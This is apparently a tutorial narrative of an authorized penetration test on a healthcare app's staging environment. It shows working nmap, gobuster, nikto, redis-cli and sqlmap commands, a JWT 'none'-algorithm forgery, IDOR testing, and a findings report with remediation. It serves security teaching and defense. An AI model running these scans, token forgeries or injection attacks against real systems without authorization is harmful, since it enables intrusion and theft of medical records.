Marta is a security consultant hired to assess a healthcare SaaS platform before it handles patient data. The client runs a Next.js frontend, a Python API backend, a PostgreSQL database, and a Redis cache — all on AWS. She has 5 days and a signed Rules of Engagement document that authorizes testing against the staging environment. Her goal: find every vulnerability that could lead to unauthorized data access, document the exploitation path, and provide actionable remediation guidance.
Phase 1: Reconnaissance
Every pentest starts with understanding the attack surface. Marta maps out what's running, what's exposed, and what versions are in use.
# Step 1: Port scan with service detection
nmap -sV -sC -p- -T4 -oA recon/nmap-full staging.healthapp.example.com
# Results:
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 9.3 (Ubuntu)
# 80/tcp open http nginx/1.25.3 (redirects to 443)
# 443/tcp open https nginx/1.25.3
# 3000/tcp open http Node.js (Next.js)
# 5432/tcp open postgresql PostgreSQL 16.1
# 6379/tcp open redis Redis 7.2.3
# 8000/tcp open http Uvicorn (Python FastAPI)
# Step 2: SSL/TLS analysis
nmap --script ssl-enum-ciphers,ssl-cert -p 443 staging.healthapp.example.com
# Check for: weak ciphers, expired certificates, missing HSTS
# Step 3: NSE vulnerability scripts against discovered services
nmap --script vuln -p 22,80,443,3000,5432,6379,8000 staging.healthapp.example.com
The initial scan reveals two immediate concerns: PostgreSQL and Redis are exposed to the internet. Redis on port 6379 has no authentication — that's a critical finding before any web testing even begins.
# Verify Redis is unauthenticated
redis-cli -h staging.healthapp.example.com
> INFO server
# If this returns server info → unauthenticated access confirmed
> KEYS *
# If this returns session keys → session hijacking possible
Phase 2: Content Discovery
Hidden endpoints, backup files, and forgotten admin panels are often the easiest path in.
# Step 4: Directory and file enumeration on the main app
gobuster dir -u https://staging.healthapp.example.com \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \
-x js,json,txt,env,bak,old,sql,zip,php \
-t 50 \
--status-codes 200,204,301,302,307,401,403 \
-o recon/gobuster-main.txt
# Interesting findings:
# /api/docs (Status: 200) [Size: 15234] → Swagger UI exposed!
# /api/v1/admin (Status: 401) [Size: 89] → Admin API exists
# /.env.example (Status: 200) [Size: 1247] → Environment variables template
# /backup (Status: 403) [Size: 162] → Backup directory exists
# /debug (Status: 200) [Size: 8921] → Debug endpoint active in staging
# Step 5: API endpoint enumeration from Swagger
# Download the OpenAPI spec
curl -s https://staging.healthapp.example.com/api/docs/openapi.json \
-o recon/openapi.json
# Extract all endpoints
cat recon/openapi.json | python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec['paths'].items():
for method in methods:
print(f'{method.upper():6s} {path}')
" | sort > recon/api-endpoints.txt
# Found 47 API endpoints across /users, /patients, /appointments, /records, /admin
# Step 6: Subdomain enumeration
gobuster dns -d healthapp.example.com \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-o recon/subdomains.txt
# Found: api, staging, dev, mail, vpn, grafana, jenkins
Phase 3: Web Server Analysis
# Step 7: Nikto server configuration audit
nikto -h https://staging.healthapp.example.com \
-o recon/nikto-main.html -Format html
# Key findings:
# - Missing X-Frame-Options header (clickjacking risk)
# - Missing Content-Security-Policy header
# - Server header reveals nginx version
# - /debug endpoint exposes stack traces with file paths
# - Directory indexing enabled on /static/uploads/
# Step 8: Nikto on the API server
nikto -h https://staging.healthapp.example.com:8000 \
-o recon/nikto-api.html -Format html
Phase 4: Authentication and Authorization Testing
This is where Burp Suite becomes the primary tool. Marta proxies all traffic through Burp and systematically tests access controls.
Step 9: Authentication testing (via Burp Repeater)
# Test 1: Brute force protection
POST /api/v1/auth/login
{"email": "admin@healthapp.example.com", "password": "wrong"}
→ Send 50 times rapidly
→ FINDING: No rate limiting on login endpoint (HIGH)
→ Account lockout never triggers
# Test 2: Password reset flow
POST /api/v1/auth/reset-password
{"email": "admin@healthapp.example.com"}
→ Response includes reset token in the JSON body (!)
→ FINDING: Password reset token exposed in API response (CRITICAL)
→ Any user's password can be reset by knowing their email
# Test 3: JWT analysis (via JWT Editor extension)
→ Decode access token: {"sub": "user-123", "role": "patient", "exp": ...}
→ Modify role to "admin" → re-sign with "none" algorithm
→ FINDING: JWT accepts "none" algorithm (CRITICAL)
→ Any user can escalate to admin by modifying their own token
Step 10: Authorization testing (via Burp Intruder + Autorize)
# Configure Autorize with two sessions:
# Session A: Regular patient user (role: patient)
# Session B: Admin user (role: admin)
# Autorize automatically replays every request from Session B
# using Session A's token. Results:
# Endpoint Admin Patient FINDING
# GET /api/v1/patients 200 200 ⚠️ IDOR
# GET /api/v1/patients/{id}/records 200 200 ⚠️ IDOR - CRITICAL
# POST /api/v1/admin/users 201 201 ⚠️ Privilege escalation
# PUT /api/v1/admin/settings 200 403 ✓ Protected
# DELETE /api/v1/patients/{id} 204 403 ✓ Protected
# FINDING: Patient users can access other patients' medical records (CRITICAL)
# FINDING: Patient users can create admin accounts (CRITICAL)
Phase 5: Injection Testing
# Step 11: SQL injection on the search endpoint (found via Burp)
# Export the request from Burp to a file
cat > recon/search-request.txt << 'EOF'
POST /api/v1/patients/search HTTP/1.1
Host: staging.healthapp.example.com
Authorization: Bearer eyJ...
Content-Type: application/json
{"query": "smith", "filters": {"department": "cardiology"}}
EOF
# Test with sqlmap
sqlmap -r recon/search-request.txt \
--level=3 --risk=2 \
--batch \
--threads=10 \
-o recon/sqlmap-results
# Results:
# Parameter 'query' is vulnerable to:
# - Boolean-based blind SQL injection
# - Time-based blind SQL injection
# DBMS: PostgreSQL 16.1
# Enumerate what's accessible
sqlmap -r recon/search-request.txt \
--batch --current-user --current-db --is-dba
# current user: app_user
# current database: healthapp_staging
# is DBA: False (good — limited privileges)
# Prove impact: list tables
sqlmap -r recon/search-request.txt \
--batch -D healthapp_staging --tables
# Tables: users, patients, medical_records, appointments, prescriptions, audit_log
# FINDING: SQL injection with access to medical records table (CRITICAL)
Phase 6: Report Compilation
# Vulnerability Report — HealthApp Staging Assessment
# Date: February 2026 | Assessor: Marta S.
## Executive Summary
14 vulnerabilities found: 5 Critical, 3 High, 4 Medium, 2 Low.
The application has severe access control failures that would allow
any authenticated user to access all patient medical records.
**Recommendation: Do NOT proceed to production until Critical findings are resolved.**
## Critical Findings
### 1. Unauthenticated Redis Access (CVSS 9.8)
- **Impact**: Session hijacking, data theft
- **Evidence**: `redis-cli -h staging.healthapp.example.com` returns data
- **Remediation**: Bind Redis to 127.0.0.1, require AUTH, block port 6379 in security group
### 2. Patient Records Accessible via IDOR (CVSS 9.1)
- **Impact**: Any patient can view any other patient's medical records
- **Evidence**: GET /api/v1/patients/OTHER-ID/records returns data with patient token
- **Remediation**: Implement row-level access control; verify requesting user owns the record
### 3. JWT "none" Algorithm Accepted (CVSS 9.8)
- **Impact**: Any user can escalate to admin
- **Evidence**: Modified JWT with alg:"none" accepted by server
- **Remediation**: Explicitly whitelist allowed algorithms; reject "none"
### 4. SQL Injection in Patient Search (CVSS 8.6)
- **Impact**: Read access to entire database including medical records
- **Evidence**: sqlmap confirms boolean-blind and time-blind injection
- **Remediation**: Use parameterized queries; input validation on search endpoint
### 5. Password Reset Token in API Response (CVSS 8.2)
- **Impact**: Account takeover for any user
- **Evidence**: POST /api/v1/auth/reset-password returns token in response body
- **Remediation**: Send token only via email; never include in API response
Results
The 5-day assessment finds 14 vulnerabilities, including 5 critical issues that would have exposed patient medical records. The exposed Redis instance had been in that state since the initial deployment 6 months ago — no automated tool caught it because most only check HTTP ports. The IDOR in patient records would have been a HIPAA violation the moment real patient data entered the system. The JWT "none" algorithm bypass means any registered user could become admin in seconds. The client delays their production launch by 3 weeks to fix all critical and high findings, then engages Marta for a retest. On retest, all 5 critical and 3 high issues are resolved. The 4 medium findings (missing security headers, verbose error messages, directory indexing, no rate limiting) are addressed in the following sprint.